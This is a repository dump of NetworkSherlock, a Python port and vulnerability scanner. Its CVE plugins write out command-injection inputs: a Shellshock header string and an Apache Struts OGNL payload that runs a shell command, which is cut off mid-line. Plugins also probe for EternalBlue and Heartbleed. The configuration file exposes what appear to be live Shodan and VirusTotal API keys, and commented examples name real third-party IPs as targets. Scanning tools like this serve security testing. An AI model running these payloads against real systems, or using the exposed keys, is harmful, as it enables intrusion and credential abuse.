├── .github
├── FUNDING.yml
└── workflows
│ └── python-publish.yml
├── LICENSE
├── Readme.md
├── config
└── networksherlock.cfg
├── core
├── __init__.py
└── modules
│ ├── __init__.py
│ └── arpdiscover.py
├── img
├── NetworkSherlock.png
└── NetworkSherlock1.png
├── networksherlock.py
├── plugins
├── __init__.py
├── cveScanner
│ ├── CVE_2014_0160_scanner.py
│ ├── CVE_2014_6271_scanner.py
│ ├── CVE_2017_0144_scanner.py
│ ├── CVE_2017_5638_scanner.py
│ ├── CVE_2018_11776_scanner.py
│ ├── CVE_2019_0708_scanner.py
│ ├── CVE_2020_0688_scanner.py
│ ├── CVE_2020_0796_scanner.py
│ ├── CVE_2020_1938_scanner.py
│ ├── CVE_2022_1388_scanner.py
│ ├── CVE_2022_22784_scanner.py
│ └── __init__.py
├── main.py
├── onlinescanner
│ ├── __init__.py
│ └── shodanscanner.py
├── protocolscan
│ ├── __init__.py
│ ├── bannerScanner.py
│ ├── databasesscanner.py
│ ├── ftpanonloginscanner.py
│ ├── osfingerscanner.py
│ ├── sllscanner.py
│ └── smbscanner.py
└── webScanner
│ ├── __init__.py
│ ├── robotsscanner.py
│ └── wafScanner.py
└── requirements.txt
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: HalilDeniz
4 | patreon: denizhalil
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
13 | custom: https://www.buymeacoffee.com/halildeniz
14 |
--------------------------------------------------------------------------------
/.github/workflows/python-publish.yml:
--------------------------------------------------------------------------------
1 | # This workflow will upload a Python Package using Twine when a release is created
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries
3 |
4 | # This workflow uses actions that are not certified by GitHub.
5 | # They are provided by a third-party and are governed by
6 | # separate terms of service, privacy policy, and support
7 | # documentation.
8 |
9 | name: Upload Python Package
10 |
11 | on:
12 | release:
13 | types: [published]
14 |
15 | permissions:
16 | contents: read
17 |
18 | jobs:
19 | deploy:
20 |
21 | runs-on: ubuntu-latest
22 |
23 | steps:
24 | - uses: actions/checkout@v3
25 | - name: Set up Python
26 | uses: actions/setup-python@v3
27 | with:
28 | python-version: '3.x'
29 | - name: Install dependencies
30 | run: |
31 | python -m pip install --upgrade pip
32 | pip install build
33 | - name: Build package
34 | run: python -m build
35 | - name: Publish package
36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29
37 | with:
38 | user: __token__
39 | password: ${{ secrets.PYPI_API_TOKEN }}
40 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Halil Ibrahim Deniz
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # **NetworkSherlock: Porwerfull Port Scanning With Shodan**
2 |
3 |
4 | **NetworkSherlock** is a powerful and flexible port scanning tool designed for network security professionals and penetration testers.
5 | With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets.
6 | It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices.
7 | This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats.
8 | By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.
9 |
10 |
11 | ## **Features**
12 |
13 | - Scans multiple IPs, IP ranges, and CIDR blocks.
14 | - Supports port scanning over TCP and UDP protocols.
15 | - Detailed banner grabbing feature.
16 | - Ping check for identifying reachable targets.
17 | - Multi-threading support for fast scanning operations.
18 | - Option to save scan results to a file.
19 | - Provides detailed version information.
20 | - Colorful console output for better readability.
21 | - Shodan integration for enhanced scanning capabilities.
22 | - Configuration file support for Shodan API key.
23 |
24 |
25 | ## **Installation**
26 | NetworkSherlock requires Python 3.6 or later.
27 |
28 | 1. Clone the repository:
29 | ```bash
30 | git clone https://github.com/HalilDeniz/NetworkSherlock.git
31 | ```
32 | 2. Install the required packages:
33 | ```bash
34 | pip install -r requirements.txt
35 | ```
36 | ## Configuration
37 |
38 | Update the `networksherlock.cfg` file with your Shodan API key:
39 |
40 | ```ini
41 | [SHODAN]
42 | api_key = YOUR_SHODAN_API_KEY
43 | ```
44 |
45 | ## **Usage**
46 |
47 | ```bash
48 | python3 networksherlock.py --help
49 | usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target
50 |
51 | NetworkSherlock: Port Scan Tool
52 |
53 | positional arguments:
54 | target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
55 | 192.168.1.0/24)
56 |
57 | options:
58 | -h, --help show this help message and exit
59 | -p PORTS, --ports PORTS
60 | Ports to scan (e.g. 1-1024, 21,22,80, or 80)
61 | -t THREADS, --threads THREADS
62 | Number of threads to use
63 | -P {tcp,udp}, --protocol {tcp,udp}
64 | Protocol to use for scanning
65 | -V, --version-info Used to get version information
66 | -s SAVE_RESULTS, --save-results SAVE_RESULTS
67 | File to save scan results
68 | -c, --ping-check Perform ping check before scanning
69 | -ad, --arp-discover: Perform ARP discovery on the specified network.
70 | --use-shodan Enable Shodan integration for additional information
71 |
72 | ```
73 | ### **Basic Parameters**
74 |
75 | - `target`: The target IP address(es), IP range, or CIDR block to scan.
76 | - `-p`, `--ports`: Ports to scan (e.g., 1-1000, 22,80,443).
77 | - `-t`, `--threads`: Number of threads to use.
78 | - `-P`, `--protocol`: Protocol to use for scanning (tcp or udp).
79 | - `-V`, `--version-info`: Obtain version information during banner grabbing.
80 | - `-s`, `--save-results`: Save results to the specified file.
81 | - `-c`, `--ping-check`: Perform a ping check before scanning.
82 | - `--use-shodan`: Enable Shodan integration.
83 |
84 | ## Usage Examples
85 |
86 | Here are some usage examples of NetworkSherlock: [You can explore it here](https://denizhalil.com/2023/11/27/dosinator-denial-of-service-tool/)
87 |
88 | ## Contributing
89 | Contributions are welcome! To contribute to NetworkSherlock, follow these steps:
90 |
91 | 1. Fork the repository.
92 | 2. Create a new branch for your feature or bug fix.
93 | 3. Make your changes and commit them.
94 | 4. Push your changes to your forked repository.
95 | 5. Open a pull request in the main repository.
96 |
97 | ## Contact
98 | - Linktr :[Halil Deniz](https://linktr.ee/halildeniz)
99 | - LinkedIn : [Halil İbrahim Deniz](https://www.linkedin.com/in/halil-ibrahim-deniz/)
100 | - TryHackMe : [halilovic](https://tryhackme.com/p/halilovic)
101 | - Instagram : [deniz.halil333](https://www.instagram.com/deniz.halil333/)
102 | - YouTube : [HalilDeniz](https://www.youtube.com/c/HalilDeniz)
103 | - Email: halildeniz313@gmail.com
104 |
105 |
106 | ## License
107 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
108 |
109 | ## 💰 You can help me by Donating
110 | Thank you for considering supporting me! Your support enables me to dedicate more time and effort to creating useful tools like NetworkScherlock and developing new projects. By contributing, you're not only helping me improve existing tools but also inspiring new ideas and innovations. Your support plays a vital role in the growth of this project and future endeavors. Together, let's continue building and learning. Thank you!"
111 | [](https://buymeacoffee.com/halildeniz)
112 | [](https://patreon.com/denizhalil)
113 |
--------------------------------------------------------------------------------
/config/networksherlock.cfg:
--------------------------------------------------------------------------------
1 | [SHODAN]
2 | api_key = D8slrhiOMSsrUyZbypWbCZLz1riC9UU4
3 |
4 | [VIRUSTOTAL]
5 | api_key = f56fcfcf18dedec1a6e8bcf021b42788170edd43be63bb6045e9365f61067288
6 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/core/__init__.py
--------------------------------------------------------------------------------
/core/modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/core/modules/__init__.py
--------------------------------------------------------------------------------
/core/modules/arpdiscover.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from scapy.layers.l2 import ARP, Ether
3 | from scapy.sendrecv import srp
4 |
5 | class ArpDiscover:
6 | def __init__(self, iface):
7 | self.iface = iface
8 |
9 | def scan(self, target):
10 | arp = ARP(pdst=target)
11 | ether = Ether(dst="ff:ff:ff:ff:ff:ff")
12 | packet = ether / arp
13 | try:
14 | result = srp(packet, timeout=3, verbose=0, iface=self.iface)[0]
15 | except PermissionError:
16 | print("Error: You do not have sufficient privileges. Try running the program with 'sudo'.")
17 | exit()
18 | except OSError as e:
19 | if "No such device" in str(e):
20 | print(f"Error: Interface '{self.iface}' does not exist. \nPlease provide a valid interface name.")
21 | exit()
22 | else:
23 | raise
24 |
25 | devices = []
26 | for sent, received in result:
27 | devices.append({'ip': received.psrc, 'mac': received.hwsrc, 'manufacturer': self.get_device_info(received.hwsrc)})
28 |
29 | return devices
30 |
31 | @staticmethod
32 | def get_device_info(mac_address):
33 | try:
34 | url = f"https://api.macvendors.com/{mac_address}"
35 | response = requests.get(url)
36 | return response.text.strip() if response.status_code == 200 else "Unknown"
37 | except requests.exceptions.RequestException:
38 | return "Unknown"
39 |
--------------------------------------------------------------------------------
/img/NetworkSherlock.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/img/NetworkSherlock.png
--------------------------------------------------------------------------------
/img/NetworkSherlock1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/img/NetworkSherlock1.png
--------------------------------------------------------------------------------
/networksherlock.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import sys
4 | import socket
5 | import argparse
6 | import threading
7 | import ipaddress
8 | import subprocess
9 | from queue import Queue
10 | from colorama import Fore, Style, init
11 |
12 | from core.modules.arpdiscover import ArpDiscover
13 | from core.modules.arpdiscover import ArpDiscover
14 |
15 | from plugins.main import CVE_Scanner_Main
16 |
17 | from plugins.protocolscan.ftpanonloginscanner import FtpAnonLoginScanner
18 | from plugins.protocolscan.sllscanner import TLSCertScanner
19 | from plugins.protocolscan.osfingerscanner import OSFingerprintScanner
20 | from plugins.protocolscan.bannerScanner import BannerScanner
21 | from plugins.onlinescanner.shodanscanner import ShodanScanner
22 | from plugins.webScanner.robotsscanner import RobotsScanner
23 | from plugins.webScanner.wafScanner import WAFDetector
24 |
25 | #from plugins.protocolscan.smbscanner import SMBScanner
26 |
27 | init(autoreset=True)
28 |
29 |
30 | def read_ips_from_file(file_path):
31 | ips = []
32 | try:
33 | with open(file_path, 'r') as file:
34 | for line in file:
35 | ip = line.strip()
36 | if ip: # Boş satırları atla
37 | ips.append(ip)
38 | except FileNotFoundError:
39 | print(f"Error: File not found at '{file_path}'")
40 | except IOError:
41 | print(f"Error: Could not read file '{file_path}'")
42 | return ips
43 |
44 |
45 |
46 | class NetworkSherlock:
47 | def __init__(self, targets, ports, threads=10, protocol='tcp', version_info=False, save_results=None, ping_check=False, config_file='config/networksherlock.cfg', use_shodan=False):
48 | self.targets = targets
49 | self.ports = ports
50 | self.threads = threads
51 | self.protocol = protocol
52 | self.version_info = version_info
53 | self.save_results = save_results
54 | self.ping_check = ping_check
55 | self.ip = None
56 | self.config_file = config_file
57 | self.use_shodan = use_shodan
58 | self.ssl_cert_details = {}
59 | if self.use_shodan:
60 | self.shodan_scanner = ShodanScanner(self.config_file)
61 | else:
62 | self.shodan_scanner = None
63 |
64 | def format_scan_time(self, seconds):
65 | minutes, seconds = divmod(seconds, 60)
66 | return f"{int(minutes)} minute {seconds:.2f} seconds"
67 |
68 | def port_scan(self, port):
69 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM if self.protocol == 'tcp' else socket.SOCK_DGRAM)
70 | sock.settimeout(1)
71 | result = sock.connect_ex((self.ip, port))
72 |
73 | if result == 0:
74 | try:
75 | service = socket.getservbyport(port, self.protocol)
76 | except OSError:
77 | service = "unknown"
78 |
79 | if port == 21:
80 | ftp_scanner = FtpAnonLoginScanner(self.ip)
81 | if ftp_scanner.check_anon_login():
82 | self.ftp_anon_accessible.append(port)
83 |
84 | if port == 443 and self.version_info:
85 | tls_scanner = TLSCertScanner(self.ip)
86 | try:
87 | cert_details = tls_scanner.get_certificate_details()
88 | if cert_details:
89 | self.ssl_cert_details[self.ip] = cert_details
90 | except Exception as e:
91 | pass
92 |
93 | banner = ""
94 | shodan_info = ""
95 | if self.version_info:
96 | banner_scanner = BannerScanner(self.ip, port)
97 | banner = banner_scanner.banner_grabbing()
98 |
99 | if self.use_shodan and self.shodan_scanner:
100 | shodan_result = self.shodan_scanner.perform_scan(socket.gethostbyname(self.ip))
101 | shodan_info = self.shodan_scanner.format_shodan_info(shodan_result)
102 |
103 | if self.use_shodan:
104 | port_info = f"{port:<4}/{self.protocol} open {service:<14} {banner}\n{Fore.BLUE}From Shodan:{Style.RESET_ALL}\n{shodan_info}"
105 | else:
106 | port_info = f"{port:<4}/{self.protocol} open {service:<14} {banner}"
107 |
108 | self.open_ports.append(port_info)
109 | sock.close()
110 | def ping_check(self):
111 | command = ["ping", "-c", "1", self.ip]
112 | result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
113 | return result.returncode == 0
114 |
115 | def thread_process(self):
116 | while True:
117 | port = self.port_queue.get()
118 | if port is None:
119 | break
120 | self.port_scan(port)
121 | self.port_queue.task_done()
122 |
123 | def parse_targets(self, targets):
124 | parsed_targets = []
125 | for target in targets.split(','):
126 | if '/' in target or '-' in target:
127 | if '-' in target:
128 | start_ip, end_ip = target.split('-')
129 | start_ip = ipaddress.ip_address(start_ip)
130 | end_ip = ipaddress.ip_address(end_ip)
131 | while start_ip <= end_ip:
132 | parsed_targets.append(str(start_ip))
133 | start_ip += 1
134 | else: # CIDR Notation
135 | for ip in ipaddress.ip_network(target, strict=False):
136 | parsed_targets.append(str(ip))
137 | else:
138 | parsed_targets.append(target.strip())
139 | return parsed_targets
140 |
141 | def scan(self):
142 | if args.ip_file:
143 | targets = read_ips_from_file(args.ip_file)
144 | elif self.targets:
145 | targets = self.parse_targets(self.targets)
146 | else:
147 | print("Missing target argument. Use --help for more information.")
148 | return
149 |
150 | try:
151 | for target in targets:
152 | self.ip = target
153 | self.open_ports = []
154 | self.ftp_anon_accessible = []
155 |
156 | if self.ping_check and not self.ping_check():
157 | continue
158 |
159 | # Port listesi oluştur
160 | if "-" in self.ports:
161 | start_port, end_port = map(int, self.ports.split('-'))
162 | ports = range(start_port, end_port + 1)
163 | elif "," in self.ports:
164 | ports = map(int, self.ports.split(','))
165 | elif self.ports.isdigit():
166 | ports = [int(self.ports)]
167 | else:
168 | print(f"{Fore.RED}Invalid port format.{Style.RESET_ALLs}")
169 | continue
170 |
171 | # Thread'leri başlat
172 | self.port_queue = Queue()
173 | for port in ports:
174 | self.port_queue.put(port)
175 |
176 | threads = []
177 | for _ in range(self.threads):
178 | t = threading.Thread(target=self.thread_process)
179 | t.start()
180 | threads.append(t)
181 |
182 | for _ in range(self.threads):
183 | self.port_queue.put(None)
184 |
185 | for t in threads:
186 | t.join()
187 |
188 | # Açık portları yazdır
189 | if self.open_ports:
190 | print(f"********************************************")
191 | print(f"{Fore.GREEN}Scanning target:{Style.RESET_ALL} {target}")
192 | print(f"{Fore.GREEN}Scanning IP :{Style.RESET_ALL} {socket.gethostbyname(self.ip)}")
193 | print(f"{Fore.GREEN}Ports :{Style.RESET_ALL} {self.ports}")
194 | print(f"{Fore.GREEN}Threads :{Style.RESET_ALL} {self.threads}")
195 | print(f"{Fore.GREEN}Protocol :{Style.RESET_ALL} {self.protocol}")
196 | print(f"---------------------------------------------")
197 | if self.version_info:
198 | print(f"{Fore.RED}Port Status Service VERSION{Style.RESET_ALL}")
199 | else:
200 | print(f"{Fore.RED}Port Status Service{Style.RESET_ALL}")
201 |
202 | for port_info in self.open_ports:
203 | print(port_info)
204 |
205 | if self.version_info and ('80' in self.ports.split(',') or '443' in self.ports.split(',')):
206 | http_url = f"http://{self.ip}/robots.txt"
207 | https_url = f"https://{self.ip}"
208 |
209 | robots_scanner_https = RobotsScanner(https_url)
210 | robots_result_https = robots_scanner_https.run_scan()
211 | if robots_result_https:
212 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Robots.txt : {Fore.BLUE}{robots_result_https}{Style.RESET_ALL}")
213 | else:
214 | pass
215 |
216 | if args.waf and ('443' in self.ports.split(',')):
217 | https_url = f"https://{self.ip}"
218 |
219 | waf_detector_https = WAFDetector(https_url)
220 | waf_result_https = waf_detector_https.detect_waf()
221 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} WAF Detection : {Fore.BLUE}{waf_result_https}{Style.RESET_ALL}")
222 |
223 |
224 | if self.version_info and self.ftp_anon_accessible:
225 | for port in self.ftp_anon_accessible:
226 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Anonymous FTP login possible at: {Fore.BLUE}{self.ip}:{port}{Style.RESET_ALL}")
227 |
228 | if args.vuln:
229 | cve_scanner = CVE_Scanner_Main(self.ip)
230 | vuln_results = cve_scanner.run_all_scans(self.ports.split(','))
231 | for vuln_name, is_vulnerable in vuln_results.items():
232 | if is_vulnerable:
233 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {self.ip} is vulnerable to {vuln_name}")
234 |
235 |
236 | if args.os_fingerprint and self.open_ports:
237 | os_scanner = OSFingerprintScanner(self.ip)
238 | os_guess = os_scanner.guess_os()
239 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} OS Guess for The : {Fore.BLUE}{os_guess}{Style.RESET_ALL}")
240 |
241 |
242 |
243 | if self.ip in self.ssl_cert_details:
244 | cert_details = self.ssl_cert_details[self.ip]
245 | if "error" not in cert_details:
246 | print(f"{Fore.GREEN}[+] {Style.RESET_ALL}SSL/TLS Certificate Details : {Fore.BLUE}{self.ip}{Style.RESET_ALL}")
247 | for key, value in cert_details.items():
248 | print(f"\t{Fore.GREEN}{key:<13}:{Style.RESET_ALL} {value}")
249 | else:
250 | pass
251 |
252 | if self.save_results: # Sonuçları dosyaya yaz
253 | with open(self.save_results, "a") as file:
254 | file.write(f"********************************************\n")
255 | file.write(f"Scanning target: {target}\n")
256 | file.write(f"Scanning IP : {socket.gethostbyname(self.ip)}\n")
257 | file.write(f"Ports : {self.ports}\n")
258 | file.write(f"Threads : {self.threads}\n")
259 | file.write(f"Protocol : {self.protocol}\n")
260 | file.write(f"---------------------------------------------\n")
261 | for port_info in self.open_ports:
262 | file.write(f"{port_info}\n")
263 | #file.write("---------------------------------------------\n")
264 | print(f"---------------------------------------------")
265 | except KeyboardInterrupt:
266 | print(f"\n{Fore.RED}[!] Interrupted by user. The program is terminating...{Style.RESET_ALL}")
267 | for t in threads:
268 | t.join()
269 | sys.exit(0)
270 |
271 | # Ana program akışı
272 | if __name__ == '__main__':
273 | parser = argparse.ArgumentParser(description='NetworkSherlock: Port Scan Tool')
274 | parser.add_argument('target', type=str, nargs='?', help='Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5, 192.168.1.0/24)')
275 | parser.add_argument('-p', '--ports', type=str, default='1-1000', help='Ports to scan (e.g. 1-1024, 21,22,80, or 80)')
276 | parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads to use')
277 | parser.add_argument('-P', '--protocol', type=str, default='tcp', choices=['tcp', 'udp'], help='Protocol to use for scanning')
278 | parser.add_argument('-V', '--version-info', action='store_true', help='Used to get version information')
279 | parser.add_argument('-s', '--save-results', type=str, help='File to save scan results')
280 | parser.add_argument('-c', '--ping-check', action='store_true', help='Perform ping check before scanning')
281 | parser.add_argument('-O','--os-fingerprint', action='store_true', help='Enable OS fingerprinting for each target (It may take a long time)')
282 | parser.add_argument('-v', '--vuln', action='store_true', help='Detect previously discovered vulnerabilities (It may take a long time)')
283 | parser.add_argument('--waf','--waf-detect', action='store_true', help='Detect Web Application Firewall (WAF) for each target')
284 | parser.add_argument('-f', '--ip-file', type=str, help='Read target IP addresses from a file')
285 | parser.add_argument('-ad','--arp-discover', type=str, help='Perform ARP discovery on the specified network (e.g., 10.0.2.0/24)')
286 | parser.add_argument('-i', '--iface', type=str, help='Network interface to use for ARP discovery')
287 | parser.add_argument('--use-shodan', action='store_true', help='Enable Shodan integration for additional information')
288 | args = parser.parse_args()
289 |
290 | if len(sys.argv) == 1:
291 | parser.print_help(sys.stderr)
292 | sys.exit(1)
293 |
294 | if args.arp_discover and args.iface:
295 | arp_scanner = ArpDiscover(args.iface)
296 | devices = arp_scanner.scan(args.arp_discover)
297 | if devices:
298 | ip_width = max(len(device['ip']) for device in devices) + 1
299 | mac_width = max(len(device['mac']) for device in devices) + 1
300 | manufacturer_width = max(len(device['manufacturer']) for device in devices) + 1
301 | for device in devices:
302 | print(f"{Fore.CYAN}IP:{Style.RESET_ALL} {device['ip']:<{ip_width}} {Fore.CYAN}MAC:{Style.RESET_ALL} {device['mac']:<{mac_width}} {Fore.CYAN}Manufacturer:{Style.RESET_ALL} {device['manufacturer']:<{manufacturer_width}}")
303 | else:
304 | print("No devices found on the network.")
305 | elif args.arp_discover or args.iface:
306 | parser.error("ARP discovery requires both --arp-discover and --iface arguments.")
307 | else:
308 | scanner = NetworkSherlock(args.target, args.ports, args.threads, args.protocol, args.version_info, args.save_results, args.ping_check, use_shodan=args.use_shodan)
309 | scanner.scan()
310 |
--------------------------------------------------------------------------------
/plugins/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/__init__.py
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2014_0160_scanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import os
4 | import ssl
5 | import ssl
6 | class HeartbleedScanner:
7 | def __init__(self, target, port=443, timeout=5):
8 | self.target = target
9 | self.port = port
10 | self.timeout = timeout
11 |
12 | def construct_client_hello(self):
13 | hello_version = b'\x03\x02' # TLS 1.1
14 | random = os.urandom(32)
15 | session_id = b'\x00'
16 | cipher_suite = b'\x00\x02\x01\x00' # TLS_RSA_WITH_RC4_128_SHA
17 | compression_method = b'\x01\x00' # Null compression
18 |
19 | client_hello = b'\x16' + hello_version + struct.pack('>H', len(random) + len(session_id) + len(cipher_suite) + len(compression_method) + 2) + random + session_id + cipher_suite + compression_method
20 |
21 | return client_hello
22 |
23 | def recvmsg(self, sock):
24 | hdr = sock.recv(5)
25 | if len(hdr) != 5:
26 | return None, None, None
27 |
28 | typ, ver, ln = struct.unpack('>BHH', hdr)
29 | pay = sock.recv(ln, socket.MSG_WAITALL)
30 |
31 | if len(pay) != ln:
32 | return None, None, None
33 |
34 | return typ, ver, pay
35 |
36 | def check_vulnerability(self):
37 | client_hello = self.construct_client_hello()
38 | try:
39 | with socket.create_connection((self.target, self.port), self.timeout) as sock:
40 | # SSLContext nesnesi ile SSL bağlantısı oluşturun
41 | context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
42 | context.set_ciphers('RC4-SHA')
43 | wrapped_sock = context.wrap_socket(sock, server_hostname=self.target)
44 |
45 | wrapped_sock.send(client_hello)
46 | while True:
47 | typ, ver, pay = self.recvmsg(wrapped_sock)
48 | if typ is None:
49 | return False
50 | if typ == 24:
51 | return True
52 | if typ == 21:
53 | return False
54 | except Exception as e:
55 | return False
56 |
57 | """
58 | adres = "https://162.144.114.246/"
59 | scanner = HeartbleedScanner(adres)
60 | vulnerable = scanner.check_vulnerability()
61 | print(f"{adres} is vulnerable to Heartbleed: {vulnerable}")
62 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2014_6271_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from colorama import Fore, Style, init
3 |
4 | init(autoreset=True)
5 |
6 | class ShellshockScanner:
7 | def __init__(self, target):
8 | self.target = target
9 |
10 | def scan_for_shellshock(self):
11 | headers = {
12 | "User-Agent": "() { :;}; echo; echo Vulnerable to Shellshock: $(/bin/bash -c 'echo CVE-2014-6271')",
13 | "Referer": "() { :;}; echo; echo Vulnerable to Shellshock: $(/bin/bash -c 'echo CVE-2014-6271')"
14 | }
15 | try:
16 | response = requests.get(self.target, headers=headers, timeout=5)
17 | if "Vulnerable to Shellshock: CVE-2014-6271" in response.text:
18 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2014-6271 :{Fore.BLUE} https://www.exploit-db.com/exploits/34766{Style.RESET_ALL}")
19 | else:
20 | pass
21 | except requests.RequestException as e:
22 | pass
23 | """
24 | # Örnek Kullanım
25 | shellshock_scanner = ShellshockScanner("http://47.106.98.190/cgi-bin/test.cgi")
26 | shellshock_scanner.scan_for_shellshock()
27 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2017_0144_scanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | from struct import pack
4 | from colorama import Fore, Style, init
5 |
6 | init(autoreset=True)
7 |
8 | class EternalBlueScanner:
9 | def __init__(self, ip_address):
10 | self.ip_address = ip_address
11 | self.smb_ports = [139, 445]
12 |
13 | def scan_for_eternalblue(self):
14 | for port in self.smb_ports:
15 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
16 | s.settimeout(3)
17 | try:
18 | s.connect((self.ip_address, port))
19 | pkt = b'\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x17\x02'
20 | pkt += b'\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
21 | pkt += b'\x00\x00\x24\x00\x01\x00\x31\x00\x02\x00\x01\x00\x00\x00\x00\x00'
22 | pkt += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x60\x00\x04\x00'
23 | pkt += b'\x02\x00\x31\x00\x00\x05\x00\x0e\x03\x10\x00\x00\x00\x00\x00\x00\x00'
24 | pkt += b'\x00\x00\x00\x00\x00'
25 | s.send(pkt)
26 | nb, = struct.unpack(">I", s.recv(4))
27 | res = s.recv(nb)
28 | if res[9:13] == b'\x11\x03\x02\x00':
29 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {self.ip_address} is vulnerable to EternalBlue (CVE-2017-0144) on port {port}")
30 | else:
31 | pass
32 | except Exception as e:
33 | pass
34 |
35 | """
36 | # Örnek Kullanım
37 | eternal_blue_scanner = EternalBlueScanner("35.190.109.30")
38 | eternal_blue_scanner.scan_for_eternalblue()
39 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2017_5638_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from colorama import Fore, Style, init
3 |
4 | init(autoreset=True)
5 |
6 | class ApacheStrutsScanner:
7 | def __init__(self, target_url):
8 | self.target_url = target_url
9 |
10 | def scan_for_apache_struts(self):
11 | headers = {
12 | "Content-Type": "application/xml",
13 | "User-Agent": "NetworkSherlock/1.0"
14 | }
15 |
16 | # Apache Struts CVE-2017-5638 için özel hazırlanmış istek
17 | payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\
18 | "(#_memberAccess?(#_memberAccess=#dm):" \
19 | "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
20 | "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
21 | "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())." \
22 | "(#context.setMemberAccess(#dm))))." \
23 | "(#cmd='echo Vulnerable').(#iswin=(@java.lang.System@getProperty('os.name')" \
24 | ".toLowerCase().contains('win')))." \
25 | "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
26 | "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \
27 | "(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()" \
28 | ".getOutputStream()))." \
29 | "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
